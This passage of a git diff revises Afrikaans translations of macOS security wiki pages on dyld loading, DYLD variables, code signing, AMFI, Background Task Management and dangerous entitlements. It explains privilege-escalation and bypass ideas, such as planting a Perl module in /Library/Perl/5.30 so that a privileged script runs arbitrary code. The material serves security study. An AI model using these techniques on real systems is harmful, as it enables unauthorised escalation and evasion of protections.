is en gaan voort om rekursief voort te gaan totdat al die nodige biblioteke gelaai is. Daarom: +Dan, dit kaart die dyld gedeelde kas wat al die belangrike stelselsbiblioteke vooraf verbind en dan kaart dit die biblioteke waarop die binêre afhanklik is en gaan voort rekursief totdat al die nodige biblioteke gelaai is. Daarom: 1. dit begin om ingevoegde biblioteke met `DYLD_INSERT_LIBRARIES` te laai (indien toegelaat) 2. Dan die gedeelde kas biblioteke @@ -36,12 +36,12 @@ Terminators is gekodeer met **`__attribute__((destructor))`** en is geleë in 'n ### Stubs -Alle binêre in macOS is dinamies gekoppel. Daarom bevat hulle sommige stub afdelings wat die binêre help om na die korrekte kode in verskillende masjiene en kontekste te spring. Dit is dyld wanneer die binêre uitgevoer word die brein wat hierdie adresse moet oplos (ten minste die nie-luies). +Alle binêre in macOS is dinamies gekoppel. Daarom bevat hulle 'n paar stub afdelings wat die binêre help om na die korrekte kode in verskillende masjiene en kontekste te spring. Dit is dyld wanneer die binêre uitgevoer word die brein wat hierdie adresse moet oplos (ten minste die nie-luies). Sommige stub afdelings in die binêre: - **`__TEXT.__[auth_]stubs`**: Pointers van `__DATA` afdelings -- **`__TEXT.__stub_helper`**: Klein kode wat dinamiese koppeling aanroep met inligting oor die funksie om te bel +- **`__TEXT.__stub_helper`**: Klein kode wat dinamiese skakeling aanroep met inligting oor die funksie om te bel - **`__DATA.__[auth_]got`**: Globale Offset Tabel (adresse na geïmporteerde funksies, wanneer opgelos, (gebind tydens laai tyd soos dit gemerk is met vlag `S_NON_LAZY_SYMBOL_POINTERS`) - **`__DATA.__nl_symbol_ptr`**: Nie-lui simbool pointers (gebind tydens laai tyd soos dit gemerk is met vlag `S_NON_LAZY_SYMBOL_POINTERS`) - **`__DATA.__la_symbol_ptr`**: Lui simbool pointers (gebind op eerste toegang) @@ -68,7 +68,7 @@ Interessante ontbinding deel: 100003f80: 913e9000 add x0, x0, #4004 100003f84: 94000005 bl 0x100003f98 <_printf+0x100003f98> ``` -Dit is moontlik om te sien dat die sprong na die oproep van printf gaan na **`__TEXT.__stubs`**: +Dit is moontlik om te sien dat die sprong na die oproep van printf na **`__TEXT.__stubs`** gaan: ```bash objdump --section-headers ./load @@ -97,7 +97,7 @@ Disassembly of section __TEXT,__stubs: ``` jy kan sien dat ons **na die adres van die GOT spring**, wat in hierdie geval nie-lui opgelos word en die adres van die printf-funksie sal bevat. -In ander situasies, in plaas daarvan om direk na die GOT te spring, kan dit spring na **`__DATA.__la_symbol_ptr`** wat 'n waarde sal laai wat die funksie verteenwoordig wat dit probeer laai, dan spring na **`__TEXT.__stub_helper`** wat na **`__DATA.__nl_symbol_ptr`** spring wat die adres van **`dyld_stub_binder`** bevat wat die nommer van die funksie en 'n adres as parameters neem.\ +In ander situasies, in plaas daarvan om direk na die GOT te spring, kan dit spring na **`__DATA.__la_symbol_ptr`** wat 'n waarde sal laai wat die funksie verteenwoordig wat dit probeer laai, dan spring na **`__TEXT.__stub_helper`** wat na die **`__DATA.__nl_symbol_ptr`** spring wat die adres van **`dyld_stub_binder`** bevat wat die nommer van die funksie en 'n adres as parameters neem.\ Hierdie laaste funksie, nadat dit die adres van die gesoekte funksie gevind het, skryf dit in die ooreenstemmende plek in **`__TEXT.__stub_helper`** om te verhoed dat daar in die toekoms opsoekings gedoen word. > [!TIP] @@ -109,7 +109,7 @@ Laastens, **`dyld_stub_binder`** moet die aangeduide funksie vind en dit in die ## apple\[] argument vektor -In macOS ontvang die hoof funksie eintlik 4 argumente in plaas van 3. Die vierde word appel genoem en elke invoer is in die vorm `key=value`. Byvoorbeeld: +In macOS ontvang die hooffunksie eintlik 4 argumente in plaas van 3. Die vierde word appel genoem en elke invoer is in die vorm `key=value`. Byvoorbeeld: ```c // gcc apple.c -o apple #include @@ -135,7 +135,7 @@ Result: 11: th_port= ``` > [!TIP] -> Teen die tyd dat hierdie waardes die hooffunksie bereik, is sensitiewe inligting reeds uit hulle verwyder of dit sou 'n datalek gewees het. +> Teen die tyd dat hierdie waardes die hooffunksie bereik, is sensitiewe inligting reeds van hulle verwyder of dit sou 'n datalek gewees het. dit is moontlik om al hierdie interessante waardes te sien terwyl jy debugg voordat jy in die hooffunksie kom met: @@ -180,9 +180,9 @@ dit is moontlik om al hierdie interessante waardes te sien terwyl jy debugg voor ## dyld_all_image_infos -Dit is 'n struktuur wat deur dyld uitgevoer word met inligting oor die dyld toestand wat in die [**source code**](https://opensource.apple.com/source/dyld/dyld-852.2/include/mach-o/dyld_images.h.auto.html) gevind kan word met inligting soos die weergawe, wysiger na dyld_image_info array, na dyld_image_notifier, of proc van die gedeelde kas afgehaal is, of libSystem inisialisator aangeroep is, wysiger na dyls se eie Mach kop, wysiger na dyld weergawe string... +Dit is 'n struktuur wat deur dyld uitgevoer word met inligting oor die dyld toestand wat in die [**bron kode**](https://opensource.apple.com/source/dyld/dyld-852.2/include/mach-o/dyld_images.h.auto.html) gevind kan word met inligting soos die weergawe, wysiger na dyld_image_info array, na dyld_image_notifier, of proc van die gedeelde kas afgehaal is, of libSystem inisialisator aangeroep is, wysiger na dyls se eie Mach kop, wysiger na dyld weergawe string... -## dyld env variables +## dyld omgewing veranderlikes ### debug dyld @@ -253,7 +253,7 @@ dyld[21623]: running initializer 0x18e59e5c0 in /usr/lib/libSystem.B.dylib ``` ### Ander -- `DYLD_BIND_AT_LAUNCH`: Luie bindings word met nie-luie bindings opgelos +- `DYLD_BIND_AT_LAUNCH`: Lui bindings word met nie-lui bindings opgelos - `DYLD_DISABLE_PREFETCH`: Deaktiveer pre-fetching van \_\_DATA en \_\_LINKEDIT inhoud - `DYLD_FORCE_FLAT_NAMESPACE`: Enkelvlak bindings - `DYLD_[FRAMEWORK/LIBRARY]_PATH | DYLD_FALLBACK_[FRAMEWORK/LIBRARY]_PATH | DYLD_VERSIONED_[FRAMEWORK/LIBRARY]_PATH`: Oplossingspade @@ -267,7 +267,7 @@ dyld[21623]: running initializer 0x18e59e5c0 in /usr/lib/libSystem.B.dylib - `DYLD_PRINT_DOFS`: Druk D-Trace objekformaat afdelings soos gelaai - `DYLD_PRINT_ENV`: Druk omgewing gesien deur dyld - `DYLD_PRINT_INTERPOSTING`: Druk interposting operasies -- `DYLD_PRINT_LIBRARIES`: Druk biblioteke gelaai +- `DYLD_PRINT_LIBRARIES`: Druk gelaaide biblioteke - `DYLD_PRINT_OPTS`: Druk laai opsies - `DYLD_REBASING`: Druk simbool herbasering operasies - `DYLD_RPATHS`: Druk uitbreidings van @rpath @@ -283,7 +283,7 @@ Dit is moontlik om meer te vind met iets soos: ```bash strings /usr/lib/dyld | grep "^DYLD_" | sort -u ``` -Of laai die dyld-projek af van [https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz) en voer dit binne die gids uit: +Of om die dyld-projek af te laai van [https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz) en binne die vouer te loop: ```bash find . -type f | xargs grep strcmp| grep key,\ \" | cut -d'"' -f2 | sort -u ``` diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md index e45ea29b8..96bdb1f63 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md @@ -44,14 +44,14 @@ Wat iets soos die volgende sal teruggee: /System/Library/Perl/Extras/5.30/darwin-thread-multi-2level /System/Library/Perl/Extras/5.30 ``` -Sommige van die teruggekeerde vouers bestaan selfs nie, egter, **`/Library/Perl/5.30`** bestaan **wel**, dit is **nie** **beskerm** deur **SIP** nie en dit is **voor** die vouers **beskerm** deur SIP. Daarom kan iemand daardie vouer misbruik om skripafhanklikhede daarby te voeg sodat 'n hoëprivilege Perl-skrip dit sal laai. +Sommige van die teruggekeerde vouers bestaan selfs nie, egter, **`/Library/Perl/5.30`** **bestaan**, dit is **nie** **beskerm** deur **SIP** nie en dit is **voor** die vouers **beskerm deur SIP**. Daarom kan iemand daardie vouer misbruik om skripafhanklikhede daarby te voeg sodat 'n hoëprivilege Perl-skrip dit sal laai. > [!WARNING] -> Let egter daarop dat jy **root moet wees om in daardie vouer te skryf** en vandag sal jy hierdie **TCC-prompt** kry: +> Let egter daarop dat jy **root moet wees om in daardie vouer te skryf** en vandag sal jy hierdie **TCC prompt** kry:
-Byvoorbeeld, as 'n skrip **`use File::Basename;`** invoer, sal dit moontlik wees om `/Library/Perl/5.30/File/Basename.pm` te skep om dit te laat uitvoer willekeurige kode. +Byvoorbeeld, as 'n skrip **`use File::Basename;`** invoer, sal dit moontlik wees om `/Library/Perl/5.30/File/Basename.pm` te skep om dit toe te laat om arbitrêre kode uit te voer. ## References diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/README.md index 3da410665..e797b9fb5 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/README.md @@ -40,7 +40,7 @@ macos-tcc/ ### Begin/Omgewing Beperkings & Vertroue Kas -Begin beperkings in macOS is 'n sekuriteitskenmerk om **prosesinisiëring te reguleer** deur te definieer **wie 'n proses kan begin**, **hoe**, en **van waar**. Ingevoerd in macOS Ventura, kategoriseer dit stelselbinaries in beperkingkategorieë binne 'n **vertroue kas**. Elke uitvoerbare binêre het **reëls** vir sy **begin**, insluitend **self**, **ouer**, en **verantwoordelike** beperkings. Uitgebrei na derdeparty-apps as **Omgewing** Beperkings in macOS Sonoma, help hierdie kenmerke om potensiële stelselaanrandings te verminder deur prosesbeginvoorwaardes te regeer. +Begin beperkings in macOS is 'n sekuriteitskenmerk om **prosesinisiëring te reguleer** deur te definieer **wie 'n proses kan begin**, **hoe**, en **van waar**. Ingevoerd in macOS Ventura, kategoriseer dit stelselbinaries in beperking kategorieë binne 'n **vertroue kas**. Elke uitvoerbare binêre het **reëls** vir sy **begin**, insluitend **self**, **ouer**, en **verantwoordelike** beperkings. Uitgebrei na derdeparty-apps as **Omgewing** Beperkings in macOS Sonoma, help hierdie kenmerke om potensiële stelselaanrandings te verminder deur prosesbeginvoorwaardes te regeer. {{#ref}} macos-launch-environment-constraints.md @@ -69,7 +69,7 @@ Dit werk met 'n **daemon** geleë in `/System/Library/PrivateFrameworks/Backgrou Die manier waarop **`backgroundtaskmanagementd`** weet dat iets in 'n volhardende gids geïnstalleer is, is deur **die FSEvents te verkry** en 'n paar **handlers** daarvoor te skep. -Boonop is daar 'n plist-lêer wat **bekende toepassings** bevat wat gereeld volhard, wat deur apple onderhou word, geleë in: `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/attributions.plist` +Boonop is daar 'n plist-lêer wat **bekende toepassings** bevat wat gereeld volhard, wat deur apple onderhou word en geleë is in: `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/attributions.plist` ```json [...] "us.zoom.ZoomDaemon" => { @@ -85,9 +85,9 @@ Boonop is daar 'n plist-lêer wat **bekende toepassings** bevat wat gereeld volh } [...] ``` -### Enumerasie +### Opname -Dit is moontlik om **alle** die geconfigureerde agtergronditems wat die Apple cli-gereedskap uitvoer, te **enumerate**: +Dit is moontlik om **alle** die geconfigureerde agtergronditems wat die Apple cli-gereedskap uitvoer, op te som: ```bash # The tool will always ask for the users password sfltool dumpbtm @@ -101,7 +101,7 @@ xattr -rc dumpBTM # Remove quarantine attr ``` Hierdie inligting word gestoor in **`/private/var/db/com.apple.backgroundtaskmanagement/BackgroundItems-v4.btm`** en die Terminal benodig FDA. -### Meng met BTM +### Speel met BTM Wanneer 'n nuwe volharding gevind word, is daar 'n gebeurtenis van tipe **`ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_ADD`**. Dus, enige manier om hierdie **gebeurtenis** te **voorkom** of die **agent om die gebruiker te waarsku** sal 'n aanvaller help om _**te omseil**_ BTM. diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-amfi-applemobilefileintegrity.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-amfi-applemobilefileintegrity.md index a279dab97..ab47b071f 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-amfi-applemobilefileintegrity.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-amfi-applemobilefileintegrity.md @@ -8,7 +8,7 @@ Dit fokus op die afdwinging van die integriteit van die kode wat op die stelsel Boonop verkies die kext om vir sommige operasies die gebruikersruimte wat die daemon `/usr/libexec/amfid` uitvoer, te kontak. Hierdie vertrouensverhouding is in verskeie jailbreaks misbruik. -AMFI gebruik **MACF** beleide en registreer sy haakplekke die oomblik wat dit begin. Ook, om sy laai of ontlaai te verhoed, kan 'n kernpaniek veroorsaak. Daar is egter 'n paar opstartargumente wat AMFI kan verlam: +AMFI gebruik **MACF** beleide en dit registreer sy haakplekke die oomblik wat dit begin. Ook, om sy laai of ontlaai te verhoed, kan 'n kernpaniek veroorsaak. Daar is egter 'n paar opstartargumente wat AMFI kan verlam: - `amfi_unrestricted_task_for_pid`: Laat task_for_pid toe sonder vereiste regte - `amfi_allow_any_signature`: Laat enige kodehandtekening toe @@ -29,9 +29,9 @@ Hierdie is 'n paar van die MACF beleide wat dit registreer: - **`policy_syscall`**: Dit kontroleer DYLD-beleide soos of die binarie onbeperkte segmente het, of dit omgewingsveranderlikes moet toelaat... dit word ook genoem wanneer 'n proses via `amfi_check_dyld_policy_self()` begin word. - **`proc_check_inherit_ipc_ports`**: Dit kontroleer of wanneer 'n proses 'n nuwe binarie uitvoer, ander prosesse met SEND-regte oor die taakpoort van die proses dit moet hou of nie. Platformbinaries is toegelaat, `get-task-allow` regte laat dit toe, `task_for_pid-allow` regte is toegelaat en binaries met dieselfde TeamID. - **`proc_check_expose_task`**: afdwing regte -- **`amfi_exc_action_check_exception_send`**: 'n Uitsonderingboodskap word na die foutopsporing gestuur +- **`amfi_exc_action_check_exception_send`**: 'n Uitsonderingboodskap word na die foutopsporingstelsel gestuur - **`amfi_exc_action_label_associate & amfi_exc_action_label_copy/populate & amfi_exc_action_label_destroy & amfi_exc_action_label_init & amfi_exc_action_label_update`**: Etiketlewe tydens uitsonderinghantering (foutopsporing) -- **`proc_check_get_task`**: Kontroleer regte soos `get-task-allow` wat ander prosesse toelaat om die taakpoort te verkry en `task_for_pid-allow`, wat die proses toelaat om ander prosesse se taakpoorte te verkry. As geen van daardie, roep dit `amfid permitunrestricteddebugging` aan om te kontroleer of dit toegelaat word. +- **`proc_check_get_task`**: Kontroleer regte soos `get-task-allow` wat ander prosesse toelaat om die taakpoort te verkry en `task_for_pid-allow`, wat die proses toelaat om ander prosesse se taakpoorte te verkry. As geen van hierdie, roep dit `amfid permitunrestricteddebugging` aan om te kontroleer of dit toegelaat word. - **`proc_check_mprotect`**: Weier as `mprotect` met die vlag `VM_PROT_TRUSTED` aangeroep word wat aandui dat die streek asof dit 'n geldige kodehandtekening het, behandel moet word. - **`vnode_check_exec`**: Word aangeroep wanneer uitvoerbare lêers in geheue gelaai word en stel `cs_hard | cs_kill` wat die proses sal doodmaak as enige van die bladsye ongeldig word - **`vnode_check_getextattr`**: MacOS: Kontroleer `com.apple.root.installed` en `isVnodeQuarantined()` @@ -108,7 +108,7 @@ Alhoewel dit soms as gesertifiseer verwys word, het hierdie voorsieningsprofiele Let daarop dat die regte inskrywing 'n beperkte stel regte sal bevat en die voorsieningsprofiel slegs daardie spesifieke regte kan gee om te voorkom dat Apple private regte gee. -Let daarop dat profiele gewoonlik geleë is in `/var/MobileDeviceProvisioningProfiles` en dit moontlik is om dit te kontroleer met **`security cms -D -i /path/to/profile`** +Let daarop dat profiele gewoonlik geleë is in `/var/MobileDeviceProvisioningProfiles` en dit moontlik is om hulle te kontroleer met **`security cms -D -i /path/to/profile`** ## **libmis.dyld** diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-authorizations-db-and-authd.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-authorizations-db-and-authd.md index d3ed820a3..1582b42c5 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-authorizations-db-and-authd.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-authorizations-db-and-authd.md @@ -23,7 +23,7 @@ Die reëls word in die `rules` tabel binne die databasis gestoor en bevat die vo - **version**: Hou die weergawe van die reël dop vir weergawebeheer en opdaterings. - **created**: Registreer die tydstempel wanneer die reël geskep is vir ouditdoeleindes. - **modified**: Stoor die tydstempel van die laaste wysiging aan die reël. -- **hash**: Hou 'n hash-waarde van die reël om sy integriteit te verseker en om te detecteer of daar gemanipuleer is. +- **hash**: Hou 'n hash-waarde van die reël om sy integriteit te verseker en om vervalsing op te spoor. - **identifier**: Verskaf 'n unieke string identifiseerder, soos 'n UUID, vir eksterne verwysings na die reël. - **requirement**: Bevat geserialiseerde data wat die spesifieke autoriseringsvereistes en meganismes van die reël definieer. - **comment**: Bied 'n menslike leesbare beskrywing of opmerking oor die reël vir dokumentasie en duidelikheid. @@ -75,7 +75,7 @@ Boonop in [https://www.dssw.co.uk/reference/authorization-rights/authenticate-ad Dit is 'n daemon wat versoeke sal ontvang om kliënte te autoriseer om sensitiewe aksies uit te voer. Dit werk as 'n XPC-diens wat binne die `XPCServices/`-map gedefinieer is en gebruik om sy logs in `/var/log/authd.log` te skryf. -Boonop is dit moontlik om baie `Security.framework` API's te toets met die sekuriteitstoepassing. Byvoorbeeld, die `AuthorizationExecuteWithPrivileges` wat loop: `security execute-with-privileges /bin/ls` +Boonop is dit moontlik om baie `Security.framework` API's te toets met die sekuriteitstoepassing. Byvoorbeeld die `AuthorizationExecuteWithPrivileges` wat loop: `security execute-with-privileges /bin/ls` Dit sal `/usr/libexec/security_authtrampoline /bin/ls` as root fork en exec, wat toestemming sal vra in 'n prompt om ls as root uit te voer: diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-code-signing.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-code-signing.md index 4d98ebc95..99e576d80 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-code-signing.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-code-signing.md @@ -8,7 +8,7 @@ Mach-o binaries bevat 'n laaiopdrag genaamd **`LC_CODE_SIGNATURE`** wat die **of
-Die magiese kop van die Code Signature is **`0xFADE0CC0`**. Dan het jy inligting soos die lengte en die aantal blobs van die superBlob wat dit bevat.\ +Die magiese kop van die Code Signature is **`0xFADE0CC0`**. Dan het jy inligting soos die lengte en die aantal blobs van die superBlob wat hulle bevat.\ Dit is moontlik om hierdie inligting in die [bron kode hier](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs_blobs.h#L276) te vind: ```c /* @@ -45,7 +45,7 @@ Boonop kan handtekeninge van die binaries losgemaak word en gestoor word in `/va ## Code Directory Blob -Dit is moontlik om die verklaring van die [Code Directory Blob in die kode](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs_blobs.h#L104): te vind +Dit is moontlik om die verklaring van die [Code Directory Blob in die kode](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs_blobs.h#L104) te vind: ```c typedef struct __CodeDirectory { uint32_t magic; /* magic number (CSMAGIC_CODEDIRECTORY) */ @@ -105,8 +105,8 @@ Let wel dat daar verskillende weergawes van hierdie struktuur is waar oues minde ## Ondertekening van Kode Bladsye -Hashing van die volle binêre sou ondoeltreffend en selfs nutteloos wees as dit net gedeeltelik in geheue gelaai is. Daarom is die kodehandtekening eintlik 'n hash van hashes waar elke binêre bladsy individueel gehasht word.\ -Eintlik kan jy in die vorige **Kodegids** kode sien dat die **bladsygrootte gespesifiseer is** in een van sy velde. Boonop, as die grootte van die binêre nie 'n veelvoud van die grootte van 'n bladsy is nie, spesifiseer die veld **CodeLimit** waar die einde van die handtekening is. +Hashing van die volle binêre sou ondoeltreffend en selfs nutteloos wees as dit net gedeeltelik in geheue gelaai word. Daarom is die kodehandtekening eintlik 'n hash van hashes waar elke binêre bladsy individueel gehasht word.\ +Eintlik kan jy in die vorige **Kode Gids** kode sien dat die **bladgrootte gespesifiseer is** in een van sy velde. Boonop, as die grootte van die binêre nie 'n veelvoud van die grootte van 'n bladsy is nie, spesifiseer die veld **CodeLimit** waar die einde van die handtekening is. ```bash # Get all hashes of /bin/ps codesign -d -vvvvvv /bin/ps @@ -162,7 +162,7 @@ Werklik, dit is moontlik om in die Code Directory strukture 'n parameter genaamd ## Kode Handtekening Vlaggies -Elke proses het 'n bitmasker wat bekend staan as die `status` wat deur die kern begin word en sommige daarvan kan oorgeskryf word deur die **kode handtekening**. Hierdie vlaggies wat in die kode handtekening ingesluit kan word, is [gedefinieer in die kode](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs_blobs.h#L36): +Elke proses het 'n bitmasker wat bekend staan as die `status` wat deur die kernel begin word en sommige daarvan kan oorgeskryf word deur die **kode handtekening**. Hierdie vlaggies wat in die kode handtekening ingesluit kan word, is [gedefinieer in die kode](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs_blobs.h#L36): ```c /* code signing attributes of a process */ #define CS_VALID 0x00000001 /* dynamically valid */ @@ -207,11 +207,11 @@ CS_RESTRICT | CS_ENFORCEMENT | CS_REQUIRE_LV | CS_RUNTIME | CS_LINKER_SIGNED) #define CS_ENTITLEMENT_FLAGS (CS_GET_TASK_ALLOW | CS_INSTALLER | CS_DATAVAULT_CONTROLLER | CS_NVRAM_UNRESTRICTED) ``` -Let wel dat die funksie [**exec_mach_imgact**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern_exec.c#L1420) ook die `CS_EXEC_*` vlae dinamies kan byvoeg wanneer dit die uitvoering begin. +Let wel, die funksie [**exec_mach_imgact**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern_exec.c#L1420) kan ook die `CS_EXEC_*` vlae dinamies byvoeg wanneer die uitvoering begin. ## Kode Handtekening Vereistes -Elke toepassing stoor **vereistes** wat dit moet **tevrede stel** om uitgevoer te kan word. As die **toepassing vereistes bevat wat nie deur die toepassing tevrede gestel word nie**, sal dit nie uitgevoer word nie (aangesien dit waarskynlik gewysig is). +Elke toepassing stoor **vereistes** wat dit moet **tevrede stel** om uitgevoer te kan word. As die **toepassing vereistes bevat wat nie deur die toepassing tevrede gestel word nie**, sal dit nie uitgevoer word nie (soos dit waarskynlik verander is). Die vereistes van 'n binêre gebruik 'n **spesiale grammatika** wat 'n stroom van **uitdrukkings** is en word as blobs gekodeer met `0xfade0c00` as die magie waarvan die **hash in 'n spesiale kode-slot gestoor word**. diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md index 4ace93400..6ca7122e6 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md @@ -25,7 +25,7 @@ Hierdie toestemming maak dit moontlik vir ander prosesse met die **`com.apple.se ### `com.apple.security.cs.debugger` -Toepassings met die Debugging Tool Toestemming kan `task_for_pid()` aanroep om 'n geldige taakpoort vir ongetekende en derdeparty toepassings met die `Get Task Allow` toestemming wat op `true` gestel is, te verkry. Maar, selfs met die debugging tool toestemming, kan 'n debugger **nie die taakpoorte** van prosesse wat **nie die `Get Task Allow` toestemming het nie**, en wat dus deur Stelselintegriteitbeskerming beskerm word, verkry nie. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger). +Toepassings met die Debugging Tool Toestemming kan `task_for_pid()` aanroep om 'n geldige taakpoort vir ongetekende en derdeparty toepassings met die `Get Task Allow` toestemming wat op `true` gestel is, te verkry. Maar, selfs met die debugging tool toestemming, kan 'n debugger **nie die taakpoorte** van prosesse wat **nie die `Get Task Allow` toestemming het nie**, en wat dus deur Stelselintegriteitbeskerming beskerm word, verkry. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger). ### `com.apple.security.cs.disable-library-validation` @@ -87,11 +87,11 @@ Hierdie toestemming lys **keychain** groepe waartoe die toepassing toegang het: ``` ### **`kTCCServiceSystemPolicyAllFiles`** -Gee **Volledige Skyf Toegang** regte, een van die TCC hoogste regte wat jy kan hê. +Gee **Volledige Skyftoegang** regte, een van die hoogste TCC regte wat jy kan hê. ### **`kTCCServiceAppleEvents`** -Laat die app toe om gebeurtenisse na ander toepassings te stuur wat algemeen gebruik word vir **outomatisering van take**. Deur ander toepassings te beheer, kan dit die regte wat aan hierdie ander toepassings gegee is, misbruik. +Laat die app toe om gebeurtenisse na ander toepassings te stuur wat algemeen gebruik word vir **outomatisering van take**. Deur ander apps te beheer, kan dit die regte wat aan hierdie ander apps toegeken is, misbruik. Soos om hulle te laat vra vir die gebruiker se wagwoord: ```bash @@ -101,7 +101,7 @@ Of om hulle **arbitraire aksies** te laat uitvoer. ### **`kTCCServiceEndpointSecurityClient`** -Laat, onder andere toestemmings, toe om die **gebruikers TCC-databasis** te **skryf**. +Laat, onder andere toestemmings, toe om die **gebruikers TCC databasis** te **skryf**. ### **`kTCCServiceSystemPolicySysAdminFiles`** @@ -117,27 +117,27 @@ Dit is moontlik om te kyk wie hierdie toegang het in _Stelselsinstellings_ > _Pr ### `kTCCServiceAccessibility` -Die proses sal in staat wees om die **macOS toeganklikheidskenmerke** te **misbruik**, wat beteken dat hy byvoorbeeld in staat sal wees om sleuteldrukke te druk. SO hy kan toegang vra om 'n toepassing soos Finder te beheer en die dialoog met hierdie toestemming goed te keur. +Die proses sal in staat wees om die **macOS toeganklikheidskenmerke** te **misbruik**, wat beteken dat hy byvoorbeeld sleutels kan druk. SO hy kan toegang vra om 'n toepassing soos Finder te beheer en die dialoog met hierdie toestemming goed te keur. ## Medium ### `com.apple.security.cs.allow-jit` -Hierdie reg laat toe om **geheue te skep wat skryfbaar en uitvoerbaar is** deur die `MAP_JIT` vlag aan die `mmap()` stelselfunksie deur te gee. Kyk [**hierdie vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-jit). +Hierdie regte laat toe om **geheue te skep wat skryfbaar en uitvoerbaar is** deur die `MAP_JIT` vlag aan die `mmap()` stelselfunksie te gee. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-jit). ### `com.apple.security.cs.allow-unsigned-executable-memory` -Hierdie reg laat toe om **C-kode te oorskry of te patch**, gebruik die lank-deprecated **`NSCreateObjectFileImageFromMemory`** (wat fundamenteel onveilig is), of gebruik die **DVDPlayback** raamwerk. Kyk [**hierdie vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory). +Hierdie regte laat toe om **C-kode te oorskry of te patch**, gebruik die lank-deprecated **`NSCreateObjectFileImageFromMemory`** (wat fundamenteel onveilig is), of gebruik die **DVDPlayback** raamwerk. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory). > [!CAUTION] -> Om hierdie reg in te sluit stel jou toepassing bloot aan algemene kwesbaarhede in geheue-onveilige kode tale. Oorweeg sorgvuldig of jou toepassing hierdie uitsondering benodig. +> Om hierdie regte in te sluit stel jou toepassing bloot aan algemene kwesbaarhede in geheue-onveilige kode tale. Oorweeg sorgvuldig of jou toepassing hierdie uitsondering benodig. ### `com.apple.security.cs.disable-executable-page-protection` -Hierdie reg laat toe om **afdelings van sy eie uitvoerbare lêers** op skyf te **wysig** om gedwonge uitgang te dwing. Kyk [**hierdie vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-executable-page-protection). +Hierdie regte laat toe om **afdelings van sy eie uitvoerbare lêers** op skyf te **wysig** om gedwonge uitgang te dwing. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-executable-page-protection). > [!CAUTION] -> Die Uitskakeling van Uitvoerbare Geheuebeskerming Reg is 'n uiterste reg wat 'n fundamentele sekuriteitsbeskerming van jou toepassing verwyder, wat dit moontlik maak vir 'n aanvaller om jou toepassing se uitvoerbare kode sonder opsporing te herskryf. Verkies nouer regte indien moontlik. +> Die Disable Executable Memory Protection Entitlement is 'n uiterste regte wat 'n fundamentele sekuriteitsbeskerming van jou toepassing verwyder, wat dit moontlik maak vir 'n aanvaller om jou toepassing se uitvoerbare kode sonder opsporing te herskryf. Verkies nouer regte indien moontlik. ### `com.apple.security.cs.allow-relative-library-loads` @@ -145,7 +145,7 @@ TODO ### `com.apple.private.nullfs_allow` -Hierdie reg laat toe om 'n nullfs 